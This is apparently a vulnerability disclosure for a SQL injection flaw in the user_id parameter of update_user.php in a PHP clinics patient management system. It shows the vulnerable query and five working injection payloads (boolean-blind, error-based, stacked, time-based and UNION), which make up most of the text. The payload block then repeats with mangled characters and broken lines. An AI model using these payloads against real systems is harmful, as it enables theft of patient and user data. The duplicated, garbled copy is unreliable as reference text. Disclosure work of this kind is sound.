SQL injection vulnerability exists in user_id parameter of update_user.php file of clinics patient management system

Important user data or system data may be leaked and system security may be compromised. The environment is secure and the information can be used by malicious users.

```
$user_id = $_GET['user_id'];

$query = "SELECT `id`, `display_name`, `user_name` from `users`
where `id` = $user_id;";
```

```
Parameter: user_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: user_id=1 AND 6941=(SELECT (CASE WHEN (6941=6941) THEN 6941 ELSE (SELECT 3566 UNION SELECT 9483) END))—

    Type: error-based
    Title: MySQL ≥ 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: user_id=1 AND GTID_SUBSET(CONCAT(0×7162627171,(SELECT (ELT(8867=8867,1))),0×716b626271),8867)

    Type: stacked queries
    Title: MySQL ≥ 5.0.12 stacked queries (comment)
    Payload: user_id=1;SELECT SLEEP(5)#

    Type: time-based blind
    Title: MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)
    Payload: user_id=1 AND (SELECT 6696 FROM (SELECT(SLEEP(5)))VRDq)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: user_id=-8122 UNION ALL SELECT NULL,CONCAT(0×7162627171,0×4f4f756e4c68676444704b75576d6e4b666b6c71684e76
74445179666a7166676f5664484b4f4c4d,0×716b626271),NULL - -
```

Parameter: user_id (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)

Payload: user_id=1 AND 6941=(SELECT (CASE WHEN (6941=6941) THEN 6941 ELSE (SELECT 3566 UNION SELECT 9483) END))-- -

Type: error-based

Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause

(GTID SUBSET)

Payload: user_id=1 AND GTID_SUBSET(CONCAT(0x7162627171,(SELECT

(ELT(8867=8867,1))),0x716b626271),8867)

Type: stacked queries

Title: MySQL >= 5.0.12 stacked queries (comment)

Payload: user_id=1;SELECT SLEEP(5)#

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: user_id=1 AND (SELECT 6696 FROM (SELECT(SLEEP(5)))VRDq)

Type: UNION query

Title: Generic UNION query (NULL) - 3 columns

Payload: user_id=-8122 UNION ALL SELECT

NULL,CONCAT(0x7162627171,0x4f4f756e4c68676444704b75576d6e4b666b6c71684e76744451

79666a7166676f5664484b4f4c4d, 0x716b626271), NULL---

__

Source Download:

https://www.sourcecodester.com/php-clinics-patient-management-system-source-code